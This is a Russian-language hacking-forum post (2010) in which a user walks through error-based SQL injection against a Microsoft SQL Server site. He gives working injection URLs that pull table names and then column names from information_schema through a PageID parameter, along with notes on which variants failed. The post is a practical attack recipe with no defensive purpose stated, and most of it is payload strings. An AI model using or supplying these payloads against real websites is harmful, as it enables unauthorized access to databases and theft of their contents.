Показать сообщение отдельно
Старый 25.11.2010, 01:36   #4
Seravin
 
Регистрация: 06.07.2010
Сообщений: 13
Репутация: 2
По умолчанию

я не шарю в mssql инъекциях, по этому пришлось читать прежде чем делать. Так вот пока делал к чему пришёл(просто распишу последовательность для тех кто тоже не в теме):
для вывода названий таблиц и колонок подошёл второй метод, остальные не работали, в итоге запрос у меня приобрёл такой вид
Код:
http://site.com/PageID=1+or+1=(SELECT+TOP+1+table_name+FROM+information_schema.tables+WHERE+table_name+not+in+(SELECT+TOP+35+table_name+FROM+information_schema.tables))
но тут собственно всё понятно и описано выше, но проблема возникла для получения названий колонок.
table_name = 'users' не работает
table_name = (SELECT+TOP+1+table_name+FROM+information_schema.t ables+WHERE+table_name+not+in+(SELECT+TOP+35+table _name+FROM+information_schema.tables)) не работает
table_name like '%25users%25' не работает(на ачате конструкцию увидел, что такое %25 я не знаю)
путём всякого рода извращенств я пришёл к такой конструкции
Код:
http://site.com/PageID=1+or+1=(SELECT+TOP+1+column_name+FROM+information_schema.columns+WHERE+table_name like (SELECT+TOP+1+table_name+FROM+information_schema.tables+WHERE+table_name+not+in+(SELECT+TOP+35+table_name+FROM+information_schema.tables)))
ну и по аналогии извлекаем инфу о второй колонки и далее
Код:
http://site.com/PageID=1+or+1=(SELECT+TOP+1+column_name+FROM+information_schema.columns+WHERE+table_name like (SELECT+TOP+1+table_name+FROM+information_schema.tables+WHERE+table_name+not+in+(SELECT+TOP+35+table_name+FROM+information_schema.tables))+and+column_name+not+in+((SELECT+TOP+1+column_name+FROM+information_schema.columns+WHERE+table_name like (SELECT+TOP+1+table_name+FROM+information_schema.tables+WHERE+table_name+not+in+(SELECT+TOP+35+table_name+FROM+information_schema.tables)))))
Seravin вне форума   Ответить с цитированием